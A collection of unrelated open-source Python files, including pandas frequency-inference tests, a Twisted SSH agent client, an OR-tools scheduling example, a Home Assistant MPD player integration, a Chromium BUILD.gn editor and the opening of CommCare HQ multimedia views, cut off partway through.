'Q', 'Q-DEC', 'Q-SEP', 'Q-JUN', 'Q-MAR')
is_nov_range = inf_freq == 'Q-NOV' and gen.freqstr in (
'Q-NOV', 'Q-AUG', 'Q-MAY', 'Q-FEB')
is_oct_range = inf_freq == 'Q-OCT' and gen.freqstr in (
'Q-OCT', 'Q-JUL', 'Q-APR', 'Q-JAN')
assert is_dec_range or is_nov_range or is_oct_range
gen = date_range(start, periods=5, freq=freq)
index = _dti(gen.values)
if not freq.startswith('Q-'):
assert frequencies.infer_freq(index) == gen.freqstr
else:
inf_freq = frequencies.infer_freq(index)
is_dec_range = inf_freq == 'Q-DEC' and gen.freqstr in (
'Q', 'Q-DEC', 'Q-SEP', 'Q-JUN', 'Q-MAR')
is_nov_range = inf_freq == 'Q-NOV' and gen.freqstr in (
'Q-NOV', 'Q-AUG', 'Q-MAY', 'Q-FEB')
is_oct_range = inf_freq == 'Q-OCT' and gen.freqstr in (
'Q-OCT', 'Q-JUL', 'Q-APR', 'Q-JAN')
assert is_dec_range or is_nov_range or is_oct_range
def test_infer_freq(self):
rng = period_range('1959Q2', '2009Q3', freq='Q')
rng = Index(rng.to_timestamp('D', how='e').astype(object))
assert rng.inferred_freq == 'Q-DEC'
rng = period_range('1959Q2', '2009Q3', freq='Q-NOV')
rng = Index(rng.to_timestamp('D', how='e').astype(object))
assert rng.inferred_freq == 'Q-NOV'
rng = period_range('1959Q2', '2009Q3', freq='Q-OCT')
rng = Index(rng.to_timestamp('D', how='e').astype(object))
assert rng.inferred_freq == 'Q-OCT'
def test_infer_freq_tz(self):
freqs = {'AS-JAN':
['2009-01-01', '2010-01-01', '2011-01-01', '2012-01-01'],
'Q-OCT':
['2009-01-31', '2009-04-30', '2009-07-31', '2009-10-31'],
'M': ['2010-11-30', '2010-12-31', '2011-01-31', '2011-02-28'],
'W-SAT':
['2010-12-25', '2011-01-01', '2011-01-08', '2011-01-15'],
'D': ['2011-01-01', '2011-01-02', '2011-01-03', '2011-01-04'],
'H': ['2011-12-31 22:00', '2011-12-31 23:00',
'2012-01-01 00:00', '2012-01-01 01:00']}
# GH 7310
for tz in [None, 'Australia/Sydney', 'Asia/Tokyo', 'Europe/Paris',
'US/Pacific', 'US/Eastern']:
for expected, dates in compat.iteritems(freqs):
idx = DatetimeIndex(dates, tz=tz)
assert idx.inferred_freq == expected
def test_infer_freq_tz_transition(self):
# Tests for #8772
date_pairs = [['2013-11-02', '2013-11-5'], # Fall DST
['2014-03-08', '2014-03-11'], # Spring DST
['2014-01-01', '2014-01-03']] # Regular Time
freqs = ['3H', '10T', '3601S', '3600001L', '3600000001U',
'3600000000001N']
for tz in [None, 'Australia/Sydney', 'Asia/Tokyo', 'Europe/Paris',
'US/Pacific', 'US/Eastern']:
for date_pair in date_pairs:
for freq in freqs:
idx = date_range(date_pair[0], date_pair[
1], freq=freq, tz=tz)
assert idx.inferred_freq == freq
index = date_range("2013-11-03", periods=5,
freq="3H").tz_localize("America/Chicago")
assert index.inferred_freq is None
def test_infer_freq_businesshour(self):
# GH 7905
idx = DatetimeIndex(
['2014-07-01 09:00', '2014-07-01 10:00', '2014-07-01 11:00',
'2014-07-01 12:00', '2014-07-01 13:00', '2014-07-01 14:00'])
# hourly freq in a day must result in 'H'
assert idx.inferred_freq == 'H'
idx = DatetimeIndex(
['2014-07-01 09:00', '2014-07-01 10:00', '2014-07-01 11:00',
'2014-07-01 12:00', '2014-07-01 13:00', '2014-07-01 14:00',
'2014-07-01 15:00', '2014-07-01 16:00', '2014-07-02 09:00',
'2014-07-02 10:00', '2014-07-02 11:00'])
assert idx.inferred_freq == 'BH'
idx = DatetimeIndex(
['2014-07-04 09:00', '2014-07-04 10:00', '2014-07-04 11:00',
'2014-07-04 12:00', '2014-07-04 13:00', '2014-07-04 14:00',
'2014-07-04 15:00', '2014-07-04 16:00', '2014-07-07 09:00',
'2014-07-07 10:00', '2014-07-07 11:00'])
assert idx.inferred_freq == 'BH'
idx = DatetimeIndex(
['2014-07-04 09:00', '2014-07-04 10:00', '2014-07-04 11:00',
'2014-07-04 12:00', '2014-07-04 13:00', '2014-07-04 14:00',
'2014-07-04 15:00', '2014-07-04 16:00', '2014-07-07 09:00',
'2014-07-07 10:00', '2014-07-07 11:00', '2014-07-07 12:00',
'2014-07-07 13:00', '2014-07-07 14:00', '2014-07-07 15:00',
'2014-07-07 16:00', '2014-07-08 09:00', '2014-07-08 10:00',
'2014-07-08 11:00', '2014-07-08 12:00', '2014-07-08 13:00',
'2014-07-08 14:00', '2014-07-08 15:00', '2014-07-08 16:00'])
assert idx.inferred_freq == 'BH'
def test_not_monotonic(self):
rng = _dti(['1/31/2000', '1/31/2001', '1/31/2002'])
rng = rng[::-1]
assert rng.inferred_freq == '-1A-JAN'
def test_non_datetimeindex2(self):
rng = _dti(['1/31/2000', '1/31/2001', '1/31/2002'])
vals = rng.to_pydatetime()
result = frequencies.infer_freq(vals)
assert result == rng.inferred_freq
def test_invalid_index_types(self):
# test all index types
for i in [tm.makeIntIndex(10), tm.makeFloatIndex(10),
tm.makePeriodIndex(10)]:
pytest.raises(TypeError, lambda: frequencies.infer_freq(i))
# GH 10822
# odd error message on conversions to datetime for unicode
if not is_platform_windows():
for i in [tm.makeStringIndex(10), tm.makeUnicodeIndex(10)]:
pytest.raises(ValueError, lambda: frequencies.infer_freq(i))
def test_string_datetimelike_compat(self):
# GH 6463
expected = frequencies.infer_freq(['2004-01', '2004-02', '2004-03',
'2004-04'])
result = frequencies.infer_freq(Index(['2004-01', '2004-02', '2004-03',
'2004-04']))
assert result == expected
def test_series(self):
# GH6407
# inferring series
# invalid type of Series
for s in [Series(np.arange(10)), Series(np.arange(10.))]:
pytest.raises(TypeError, lambda: frequencies.infer_freq(s))
# a non-convertible string
pytest.raises(ValueError, lambda: frequencies.infer_freq(
Series(['foo', 'bar'])))
# cannot infer on PeriodIndex
for freq in [None, 'L']:
s = Series(period_range('2013', periods=10, freq=freq))
pytest.raises(TypeError, lambda: frequencies.infer_freq(s))
# DateTimeIndex
for freq in ['M', 'L', 'S']:
s = Series(date_range('20130101', periods=10, freq=freq))
inferred = frequencies.infer_freq(s)
assert inferred == freq
s = Series(date_range('20130101', '20130110'))
inferred = frequencies.infer_freq(s)
assert inferred == 'D'
def test_legacy_offset_warnings(self):
freqs = ['WEEKDAY', 'EOM', 'W@MON', 'W@TUE', 'W@WED', 'W@THU',
'W@FRI', 'W@SAT', 'W@SUN', 'Q@JAN', 'Q@FEB', 'Q@MAR',
'A@JAN', 'A@FEB', 'A@MAR', 'A@APR', 'A@MAY', 'A@JUN',
'A@JUL', 'A@AUG', 'A@SEP', 'A@OCT', 'A@NOV', 'A@DEC',
'Y@JAN', 'WOM@1MON', 'WOM@2MON', 'WOM@3MON',
'WOM@4MON', 'WOM@1TUE', 'WOM@2TUE', 'WOM@3TUE',
'WOM@4TUE', 'WOM@1WED', 'WOM@2WED', 'WOM@3WED',
'WOM@4WED', 'WOM@1THU', 'WOM@2THU', 'WOM@3THU',
'WOM@4THU', 'WOM@1FRI', 'WOM@2FRI', 'WOM@3FRI',
'WOM@4FRI']
msg = INVALID_FREQ_ERR_MSG
for freq in freqs:
with pytest.raises(ValueError, match=msg):
frequencies.get_offset(freq)
with pytest.raises(ValueError, match=msg):
date_range('2011-01-01', periods=5, freq=freq)
| bsd-3-clause |
rockyzhang/zhangyanhit-python-for-android-mips | python-modules/twisted/twisted/conch/client/agent.py | 60 | 1740 | # -*- test-case-name: twisted.conch.test.test_default -*-
# Copyright (c) 2001-2009 Twisted Matrix Laboratories.
# See LICENSE for details.
"""
Accesses the key agent for user authentication.
Maintainer: Paul Swartz
"""
import os
from twisted.conch.ssh import agent, channel, keys
from twisted.internet import protocol, reactor
from twisted.python import log
class SSHAgentClient(agent.SSHAgentClient):
def __init__(self):
agent.SSHAgentClient.__init__(self)
self.blobs = []
def getPublicKeys(self):
return self.requestIdentities().addCallback(self._cbPublicKeys)
def _cbPublicKeys(self, blobcomm):
log.msg('got %i public keys' % len(blobcomm))
self.blobs = [x[0] for x in blobcomm]
def getPublicKey(self):
"""
Return a L{Key} from the first blob in C{self.blobs}, if any, or
return C{None}.
"""
if self.blobs:
return keys.Key.fromString(self.blobs.pop(0))
return None
class SSHAgentForwardingChannel(channel.SSHChannel):
def channelOpen(self, specificData):
cc = protocol.ClientCreator(reactor, SSHAgentForwardingLocal)
d = cc.connectUNIX(os.environ['SSH_AUTH_SOCK'])
d.addCallback(self._cbGotLocal)
d.addErrback(lambda x:self.loseConnection())
self.buf = ''
def _cbGotLocal(self, local):
self.local = local
self.dataReceived = self.local.transport.write
self.local.dataReceived = self.write
def dataReceived(self, data):
self.buf += data
def closed(self):
if self.local:
self.local.loseConnection()
self.local = None
class SSHAgentForwardingLocal(protocol.Protocol):
pass
| apache-2.0 |
gtara/or-tools | examples/python/bacp.py | 32 | 2844 | # Copyright 2010 Pierre Schaus pschaus@gmail.com
#
# Licensed under the Apache License, Version 2.0 (the 'License');
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an 'AS IS' BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from google.apputils import app
import gflags
from ortools.constraint_solver import pywrapcp
FLAGS = gflags.FLAGS
gflags.DEFINE_string('data', 'python/data/bacp/bacp12.txt',
'path to data file')
#----------------helper for binpacking posting----------------
def BinPacking(solver, binvars, weights, loadvars):
'''post the load constraint on bins.
constraints forall j: loadvars[j] == sum_i (binvars[i] == j) * weights[i])
'''
pack = solver.Pack(binvars, len(loadvars))
pack.AddWeightedSumEqualVarDimension(weights, loadvars)
solver.Add(pack)
solver.Add(solver.SumEquality(loadvars, sum(weights)))
#------------------------------data reading-------------------
def ReadData(filename):
"""Read data from <filename>."""
f = open(filename)
nb_courses, nb_periods, min_credit, max_credit, nb_prereqs =\
[int(nb) for nb in f.readline().split()]
credits = [int(nb) for nb in f.readline().split()]
prereq = [int(nb) for nb in f.readline().split()]
prereq = [(prereq[i * 2], prereq[i * 2 + 1]) for i in range(nb_prereqs)]
return (credits, nb_periods, prereq)
def main(unused_argv):
#------------------solver and variable declaration-------------
credits, nb_periods, prereq = ReadData(FLAGS.data)
nb_courses = len(credits)
solver = pywrapcp.Solver('Balanced Academic Curriculum Problem')
x = [solver.IntVar(0, nb_periods - 1, 'x' + str(i))
for i in range(nb_courses)]
load_vars = [solver.IntVar(0, sum(credits), 'load_vars' + str(i))
for i in range(nb_periods)]
#-------------------post of the constraints--------------
# Bin Packing.
BinPacking(solver, x, credits, load_vars)
# Add dependencies.
for i, j in prereq:
solver.Add(x[i] < x[j])
#----------------Objective-------------------------------
objective_var = solver.Max(load_vars)
objective = solver.Minimize(objective_var, 1)
#------------start the search and optimization-----------
db = solver.Phase(x,
solver.CHOOSE_MIN_SIZE_LOWEST_MIN,
solver.INT_VALUE_DEFAULT)
search_log = solver.SearchLog(100000, objective_var)
solver.Solve(db, [objective, search_log])
if __name__ == '__main__':
app.run()
| apache-2.0 |
joopert/home-assistant | homeassistant/components/mpd/media_player.py | 3 | 10530 | """Support to interact with a Music Player Daemon."""
from datetime import timedelta
import logging
import os
import mpd
import voluptuous as vol
from homeassistant.components.media_player import PLATFORM_SCHEMA, MediaPlayerDevice
from homeassistant.components.media_player.const import (
MEDIA_TYPE_MUSIC,
MEDIA_TYPE_PLAYLIST,
SUPPORT_CLEAR_PLAYLIST,
SUPPORT_NEXT_TRACK,
SUPPORT_PAUSE,
SUPPORT_PLAY,
SUPPORT_PLAY_MEDIA,
SUPPORT_PREVIOUS_TRACK,
SUPPORT_SEEK,
SUPPORT_SELECT_SOURCE,
SUPPORT_SHUFFLE_SET,
SUPPORT_STOP,
SUPPORT_TURN_OFF,
SUPPORT_TURN_ON,
SUPPORT_VOLUME_MUTE,
SUPPORT_VOLUME_SET,
SUPPORT_VOLUME_STEP,
)
from homeassistant.const import (
CONF_HOST,
CONF_NAME,
CONF_PASSWORD,
CONF_PORT,
STATE_OFF,
STATE_PAUSED,
STATE_PLAYING,
)
import homeassistant.helpers.config_validation as cv
from homeassistant.util import Throttle
_LOGGER = logging.getLogger(__name__)
DEFAULT_NAME = "MPD"
DEFAULT_PORT = 6600
PLAYLIST_UPDATE_INTERVAL = timedelta(seconds=120)
SUPPORT_MPD = (
SUPPORT_PAUSE
| SUPPORT_PREVIOUS_TRACK
| SUPPORT_NEXT_TRACK
| SUPPORT_PLAY_MEDIA
| SUPPORT_PLAY
| SUPPORT_CLEAR_PLAYLIST
| SUPPORT_SHUFFLE_SET
| SUPPORT_SEEK
| SUPPORT_STOP
| SUPPORT_TURN_OFF
| SUPPORT_TURN_ON
)
PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend(
{
vol.Required(CONF_HOST): cv.string,
vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string,
vol.Optional(CONF_PASSWORD): cv.string,
vol.Optional(CONF_PORT, default=DEFAULT_PORT): cv.port,
}
)
def setup_platform(hass, config, add_entities, discovery_info=None):
"""Set up the MPD platform."""
host = config.get(CONF_HOST)
port = config.get(CONF_PORT)
name = config.get(CONF_NAME)
password = config.get(CONF_PASSWORD)
device = MpdDevice(host, port, password, name)
add_entities([device], True)
class MpdDevice(MediaPlayerDevice):
"""Representation of a MPD server."""
# pylint: disable=no-member
def __init__(self, server, port, password, name):
"""Initialize the MPD device."""
self.server = server
self.port = port
self._name = name
self.password = password
self._status = None
self._currentsong = None
self._playlists = None
self._currentplaylist = None
self._is_connected = False
self._muted = False
self._muted_volume = 0
# set up MPD client
self._client = mpd.MPDClient()
self._client.timeout = 30
self._client.idletimeout = None
def _connect(self):
"""Connect to MPD."""
try:
self._client.connect(self.server, self.port)
if self.password is not None:
self._client.password(self.password)
except mpd.ConnectionError:
return
self._is_connected = True
def _disconnect(self):
"""Disconnect from MPD."""
try:
self._client.disconnect()
except mpd.ConnectionError:
pass
self._is_connected = False
self._status = None
def _fetch_status(self):
"""Fetch status from MPD."""
self._status = self._client.status()
self._currentsong = self._client.currentsong()
self._update_playlists()
@property
def available(self):
"""Return true if MPD is available and connected."""
return self._is_connected
def update(self):
"""Get the latest data and update the state."""
try:
if not self._is_connected:
self._connect()
self._fetch_status()
except (mpd.ConnectionError, OSError, BrokenPipeError, ValueError):
# Cleanly disconnect in case connection is not in valid state
self._disconnect()
@property
def name(self):
"""Return the name of the device."""
return self._name
@property
def state(self):
"""Return the media state."""
if self._status is None:
return STATE_OFF
if self._status["state"] == "play":
return STATE_PLAYING
if self._status["state"] == "pause":
return STATE_PAUSED
if self._status["state"] == "stop":
return STATE_OFF
return STATE_OFF
@property
def is_volume_muted(self):
"""Boolean if volume is currently muted."""
return self._muted
@property
def media_content_id(self):
"""Return the content ID of current playing media."""
return self._currentsong.get("file")
@property
def media_content_type(self):
"""Return the content type of current playing media."""
return MEDIA_TYPE_MUSIC
@property
def media_duration(self):
"""Return the duration of current playing media in seconds."""
# Time does not exist for streams
return self._currentsong.get("time")
@property
def media_title(self):
"""Return the title of current playing media."""
name = self._currentsong.get("name", None)
title = self._currentsong.get("title", None)
file_name = self._currentsong.get("file", None)
if name is None and title is None:
if file_name is None:
return "None"
return os.path.basename(file_name)
if name is None:
return title
if title is None:
return name
return f"{name}: {title}"
@property
def media_artist(self):
"""Return the artist of current playing media (Music track only)."""
return self._currentsong.get("artist")
@property
def media_album_name(self):
"""Return the album of current playing media (Music track only)."""
return self._currentsong.get("album")
@property
def volume_level(self):
"""Return the volume level."""
if "volume" in self._status:
return int(self._status["volume"]) / 100
return None
@property
def supported_features(self):
"""Flag media player features that are supported."""
if self._status is None:
return None
supported = SUPPORT_MPD
if "volume" in self._status:
supported |= SUPPORT_VOLUME_SET | SUPPORT_VOLUME_STEP | SUPPORT_VOLUME_MUTE
if self._playlists is not None:
supported |= SUPPORT_SELECT_SOURCE
return supported
@property
def source(self):
"""Name of the current input source."""
return self._currentplaylist
@property
def source_list(self):
"""Return the list of available input sources."""
return self._playlists
def select_source(self, source):
"""Choose a different available playlist and play it."""
self.play_media(MEDIA_TYPE_PLAYLIST, source)
@Throttle(PLAYLIST_UPDATE_INTERVAL)
def _update_playlists(self, **kwargs):
"""Update available MPD playlists."""
try:
self._playlists = []
for playlist_data in self._client.listplaylists():
self._playlists.append(playlist_data["playlist"])
except mpd.CommandError as error:
self._playlists = None
_LOGGER.warning("Playlists could not be updated: %s:", error)
def set_volume_level(self, volume):
"""Set volume of media player."""
if "volume" in self._status:
self._client.setvol(int(volume * 100))
def volume_up(self):
"""Service to send the MPD the command for volume up."""
if "volume" in self._status:
current_volume = int(self._status["volume"])
if current_volume <= 100:
self._client.setvol(current_volume + 5)
def volume_down(self):
"""Service to send the MPD the command for volume down."""
if "volume" in self._status:
current_volume = int(self._status["volume"])
if current_volume >= 0:
self._client.setvol(current_volume - 5)
def media_play(self):
"""Service to send the MPD the command for play/pause."""
self._client.pause(0)
def media_pause(self):
"""Service to send the MPD the command for play/pause."""
self._client.pause(1)
def media_stop(self):
"""Service to send the MPD the command for stop."""
self._client.stop()
def media_next_track(self):
"""Service to send the MPD the command for next track."""
self._client.next()
def media_previous_track(self):
"""Service to send the MPD the command for previous track."""
self._client.previous()
def mute_volume(self, mute):
"""Mute. Emulated with set_volume_level."""
if "volume" in self._status:
if mute:
self._muted_volume = self.volume_level
self.set_volume_level(0)
else:
self.set_volume_level(self._muted_volume)
self._muted = mute
def play_media(self, media_type, media_id, **kwargs):
"""Send the media player the command for playing a playlist."""
_LOGGER.debug("Playing playlist: %s", media_id)
if media_type == MEDIA_TYPE_PLAYLIST:
if media_id in self._playlists:
self._currentplaylist = media_id
else:
self._currentplaylist = None
_LOGGER.warning("Unknown playlist name %s", media_id)
self._client.clear()
self._client.load(media_id)
self._client.play()
else:
self._client.clear()
self._client.add(media_id)
self._client.play()
@property
def shuffle(self):
"""Boolean if shuffle is enabled."""
return bool(int(self._status["random"]))
def set_shuffle(self, shuffle):
"""Enable/disable shuffle mode."""
self._client.random(int(shuffle))
def turn_off(self):
"""Service to send the MPD the command to stop playing."""
self._client.stop()
def turn_on(self):
"""Service to send the MPD the command to start playing."""
self._client.play()
self._update_playlists(no_throttle=True)
def clear_playlist(self):
"""Clear players playlist."""
self._client.clear()
def media_seek(self, position):
"""Send seek command."""
self._client.seekcur(position)
| apache-2.0 |
chromium/chromium | tools/android/modularization/convenience/build_gn_editor.py | 6 | 10119 | # Lint as: python3
# Copyright 2021 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
r'''Helper code to handle editing BUILD.gn files.'''
from __future__ import annotations
import difflib
import pathlib
import re
import subprocess
from typing import List, Optional, Tuple
def _find_block(source: str, start: int, open_delim: str,
close_delim: str) -> Tuple[int, int]:
open_delim_pos = source[start:].find(open_delim)
if open_delim_pos < 0:
return (-1, -1)
baseline = start + open_delim_pos
delim_count = 1
for i, char in enumerate(source[baseline + 1:]):
if char == open_delim:
delim_count += 1
continue
if char == close_delim:
delim_count -= 1
if delim_count == 0:
return (baseline, baseline + i + 1)
return (baseline, -1)
def _find_line_end(source: str, start: int) -> int:
pos = source[start:].find('\n')
if pos < 0:
return -1
return start + pos
class BuildFileUpdateError(Exception):
"""Represents an error updating the build file."""
def __init__(self, message: str):
super().__init__()
self._message = message
def __str__(self):
return self._message
class VariableContentList(object):
"""Contains the elements of a list assigned to a variable in a gn target.
Example:
target_type("target_name") {
foo = [
"a",
"b",
"c",
]
}
This class represents the elements "a", "b", "c" for foo.
"""
def __init__(self):
self._elements = []
def parse_from(self, content: str) -> bool:
"""Parses list elements from content and returns True on success.
The expected list format must be a valid gn list. i.e.
1. []
2. [ "foo" ]
3. [
"foo",
"bar",
...
]
"""
start = content.find('[')
if start < 0:
return False
end = start + content[start:].find(']')
if end <= start:
return False
bracketless_content = content[start + 1:end].strip()
if not bracketless_content:
return True
whitespace = re.compile(r'^\s+', re.MULTILINE)
comma = re.compile(r',$', re.MULTILINE)
self._elements = list(
dict.fromkeys(
re.sub(comma, '', re.sub(whitespace, '',
bracketless_content)).split('\n')))
return True
def get_elements(self) -> List[str]:
return self._elements
def add_elements(self, elements: List[str]) -> None:
"""Appends unique elements to the existing list."""
if not self._elements:
self._elements = list(dict.fromkeys(elements))
return
all_elements = list(self._elements)
all_elements.extend(elements)
self._elements = list(dict.fromkeys(all_elements))
def add_list(self, other: VariableContentList) -> None:
"""Appends unique elements to the existing list."""
self.add_elements(other.get_elements())
def serialize(self) -> str:
if not self._elements:
return '[]\n'
return '[\n' + ',\n'.join(self._elements) + ',\n]'
class TargetVariable:
"""Contains the name of a variable and its contents in a gn target.
Example:
target_type("target_name") {
variable_name = variable_content
}
This class represents the variable_name and variable_content.
"""
def __init__(self, name: str, content: str):
self._name = name
self._content = content
def get_name(self) -> str:
return self._name
def get_content(self) -> str:
return self._content
def get_content_as_list(self) -> Optional[VariableContentList]:
"""Returns the variable's content if it can be represented as a list."""
content_list = VariableContentList()
if content_list.parse_from(self._content):
return content_list
return None
def is_list(self) -> bool:
"""Returns whether the variable's content is represented as a list."""
return self.get_content_as_list() is not None
def set_content_from_list(self, content_list: VariableContentList) -> None:
self._content = content_list.serialize()
def set_content(self, content: str) -> None:
self._content = content
def serialize(self) -> str:
return f'\n{self._name} = {self._content}\n'
class BuildTarget:
"""Contains the target name, type and content of a gn target.
Example:
target_type("target_name") {
<content>
}
This class represents target_type, target_name and arbitrary content.
Specific variables are accessible via this class by name although only the
basic 'foo = "bar"' and
'foo = [
"bar",
"baz",
]'
formats are supported, not more complex things like += or conditionals.
"""
def __init__(self, target_type: str, target_name: str, content: str):
self._target_type = target_type
self._target_name = target_name
self._content = content
def get_name(self) -> str:
return self._target_name
def get_type(self) -> str:
return self._target_type
def get_variable(self, variable_name: str) -> Optional[TargetVariable]:
pattern = re.compile(fr'^\s*{variable_name} = ', re.MULTILINE)
match = pattern.search(self._content)
if not match:
return None
start = match.end() - 1
end = start
if self._content[match.end()] == '[':
start, end = _find_block(self._content, start, '[', ']')
else:
end = _find_line_end(self._content, start)
if end <= start:
return None
return TargetVariable(variable_name, self._content[start:end + 1])
def add_variable(self, variable: TargetVariable) -> None:
"""Adds the variable to the end of the content.
Warning: this does not check for prior existence."""
self._content += variable.serialize()
def replace_variable(self, variable: TargetVariable) -> None:
"""Replaces an existing variable and returns True on success."""
pattern = re.compile(fr'^\s*{variable.get_name()} =', re.MULTILINE)
match = pattern.search(self._content)
if not match:
raise BuildFileUpdateError(
f'{self._target_type}("{self._target_name}") variable '
f'{variable.get_name()} not found. Unable to replace.')
start = match.end()
if variable.is_list():
start, end = _find_block(self._content, start, '[', ']')
else:
end = _find_line_end(self._content, start)
if end <= match.start():
raise BuildFileUpdateError(
f'{self._target_type}("{self._target_name}") variable '
f'{variable.get_name()} invalid. Unable to replace.')
self._content = (self._content[:match.start()] + variable.serialize() +
self._content[end + 1:])
def serialize(self) -> str:
return (f'\n{self._target_type}("{self._target_name}") {{\n' +
f'{self._content}\n}}\n')
class BuildFile:
"""Represents the contents of a BUILD.gn file.
This supports modifying or adding targets to the file at a basic level.
"""
def __init__(self, build_gn_path: pathlib.Path):
self._path = build_gn_path
with open(self._path, 'r') as build_gn_file:
self._content = build_gn_file.read()
def get_target_names_of_type(self, target_type: str) -> List[str]:
"""Lists all targets in the build file of target_type."""
pattern = re.compile(fr'^\s*{target_type}\(\"(\w+)\"\)', re.MULTILINE)
return pattern.findall(self._content)
def get_target(self, target_type: str,
target_name: str) -> Optional[BuildTarget]:
pattern = re.compile(fr'^\s*{target_type}\(\"{target_name}\"\)',
re.MULTILINE)
match = pattern.search(self._content)
if not match:
return None
start, end = _find_block(self._content, match.end(), '{', '}')
if end <= start:
return None
return BuildTarget(target_type, target_name, self._content[start + 1:end])
def get_path(self) -> pathlib.Path:
return self._path
def get_content(self) -> str:
return self._content
def get_diff(self) -> str:
with open(self._path, 'r') as build_gn_file:
disk_content = build_gn_file.read()
return ''.join(
difflib.unified_diff(disk_content.splitlines(keepends=True),
self._content.splitlines(keepends=True),
fromfile=f'{self._path}',
tofile=f'{self._path}'))
def add_target(self, target: BuildTarget) -> None:
"""Adds the target to the end of the content.
Warning: this does not check for prior existence."""
self._content += target.serialize()
def replace_target(self, target: BuildTarget) -> None:
"""Replaces an existing target and returns True on success."""
pattern = re.compile(fr'^\s*{target.get_type()}\(\"{target.get_name()}\"\)',
re.MULTILINE)
match = pattern.search(self._content)
if not match:
raise BuildFileUpdateError(
f'{target.get_type()}("{target.get_name()}") not found. '
'Unable to replace.')
start, end = _find_block(self._content, match.end(), '{', '}')
if end <= start:
raise BuildFileUpdateError(
f'{target.get_type()}("{target.get_name()}") invalid. '
'Unable to replace.')
self._content = (self._content[:match.start()] + target.serialize() +
self._content[end + 1:])
def format_content(self) -> None:
process = subprocess.Popen(['gn', 'format', '--stdin'],
stdout=subprocess.PIPE,
stdin=subprocess.PIPE,
stderr=subprocess.PIPE)
stdout_data, stderr_data = process.communicate(input=self._content.encode())
if process.returncode:
raise BuildFileUpdateError(
'Formatting failed. There was likely an error in the changes '
'(this program cannot handle complex BUILD.gn files).\n'
f'stderr: {stderr_data.decode()}')
self._content = stdout_data.decode()
def write_content_to_file(self) -> None:
with open(self._path, 'w+') as build_gn_file:
build_gn_file.write(self._content)
| bsd-3-clause |
qedsoftware/commcare-hq | corehq/apps/hqmedia/views.py | 1 | 22884 | from StringIO import StringIO
from mimetypes import guess_all_extensions, guess_type
import uuid
import zipfile
import logging
import os
from django.contrib.auth.decorators import login_required
import json
import itertools
from django.conf import settings
from django.core.urlresolvers import reverse
from django.utils.decorators import method_decorator
from django.views.decorators.csrf import csrf_exempt
from django.views.generic import View, TemplateView
from couchdbkit.exceptions import ResourceNotFound
from django.http import HttpResponse, Http404, HttpResponseServerError, HttpResponseBadRequest
from django.shortcuts import render
import shutil
from corehq import privileges
from corehq.util.files import file_extention_from_filename
from soil import DownloadBase
from corehq.apps.accounting.utils import domain_has_privilege
from corehq.apps.app_manager.decorators import safe_download
from corehq.apps.app_manager.view_helpers import ApplicationViewMixin
from corehq.apps.hqmedia.cache import BulkMultimediaStatusCache, BulkMultimediaStatusCacheNfs
from corehq.apps.hqmedia.controller import (
MultimediaBulkUploadController,
MultimediaImageUploadController,
MultimediaAudioUploadController,
MultimediaVideoUploadController
)
from corehq.apps.hqmedia.decorators import login_with_permission_from_post
from corehq.apps.hqmedia.models import CommCareImage, CommCareAudio, CommCareMultimedia, MULTIMEDIA_PREFIX, CommCareVideo
from corehq.apps.hqmedia.tasks import process_bulk_upload_zip, build_application_zip
from corehq.apps.users.decorators import require_permission
from corehq.apps.users.models import Permissions
from dimagi.utils.decorators.memoized import memoized
from dimagi.utils.django.cached_object import CachedObject
from soil.util import expose_cached_download
from django.utils.translation import ugettext as _
from django_prbac.decorators import requires_privilege_raise404
class BaseMultimediaView(ApplicationViewMixin, View):
@method_decorator(require_permission(Permissions.edit_apps, login_decorator=login_with_permission_from_post()))
def dispatch(self, request, *args, **kwargs):
return super(BaseMultimediaView, self).dispatch(request, *args, **kwargs)
class BaseMultimediaTemplateView(BaseMultimediaView, TemplateView):
"""
The base view for all the multimedia templates.
"""
@property
def page_context(self):
return {}
def get_context_data(self, **kwargs):
context = {
"domain": self.domain,
"app": self.app,
}
context.update(self.page_context)
return context
def render_to_response(self, context, **response_kwargs):
return render(self.request, self.template_name, context)
class BaseMultimediaUploaderView(BaseMultimediaTemplateView):
@property
def page_context(self):
return {
'uploaders': self.upload_controllers,
"sessionid": self.request.COOKIES.get('sessionid'),
}
@property
def upload_controllers(self):
"""
Return a list of Upload Controllers
"""
raise NotImplementedError("You must specify a list of upload controllers")
class MultimediaReferencesView(BaseMultimediaUploaderView):
name = "hqmedia_references"
template_name = "hqmedia/references.html"
@property
def page_context(self):
context = super(MultimediaReferencesView, self).page_context
if self.app is None:
raise Http404(self)
context.update({
"references": self.app.get_references(),
"object_map": self.app.get_object_map(),
"totals": self.app.get_reference_totals(),
"sessionid": self.request.COOKIES.get('sessionid'),
})
return context
@property
def upload_controllers(self):
return [
MultimediaImageUploadController("hqimage", reverse(ProcessImageFileUploadView.name,
args=[self.domain, self.app_id])),
MultimediaAudioUploadController("hqaudio", reverse(ProcessAudioFileUploadView.name,
args=[self.domain, self.app_id])),
MultimediaVideoUploadController("hqvideo", reverse(ProcessVideoFileUploadView.name,
args=[self.domain, self.app_id])),
]
class BulkUploadMultimediaView(BaseMultimediaUploaderView):
name = "hqmedia_bulk_upload"
template_name = "hqmedia/bulk_upload.html"
@property
def upload_controllers(self):
return [MultimediaBulkUploadController("hqmedia_bulk", reverse(ProcessBulkUploadView.name,
args=[self.domain, self.app_id]))]
class BadMediaFileException(Exception):
pass
class BaseProcessUploadedView(BaseMultimediaView):
@property
def username(self):
return self.request.couch_user.username if self.request.couch_user else None
@property
def share_media(self):
return self.request.POST.get('shared') == 't'
@property
def license_used(self):
return self.request.POST.get('license', '')
@property
def author(self):
return self.request.POST.get('author', '')
@property
def attribution_notes(self):
return self.request.POST.get('attribution-notes', '')
@property
@memoized
def uploaded_file(self):
return self.request.FILES.get('Filedata')
@property
@memoized
def mime_type(self):
try:
data = self.uploaded_file.file.read()
return CommCareMultimedia.get_mime_type(data, filename=self.uploaded_file.name)
except Exception as e:
raise BadMediaFileException("There was an error fetching the MIME type of your file. Error: %s" % e)
@method_decorator(require_permission(Permissions.edit_apps, login_decorator=login_with_permission_from_post()))
# YUI js uploader library doesn't support csrf
@csrf_exempt
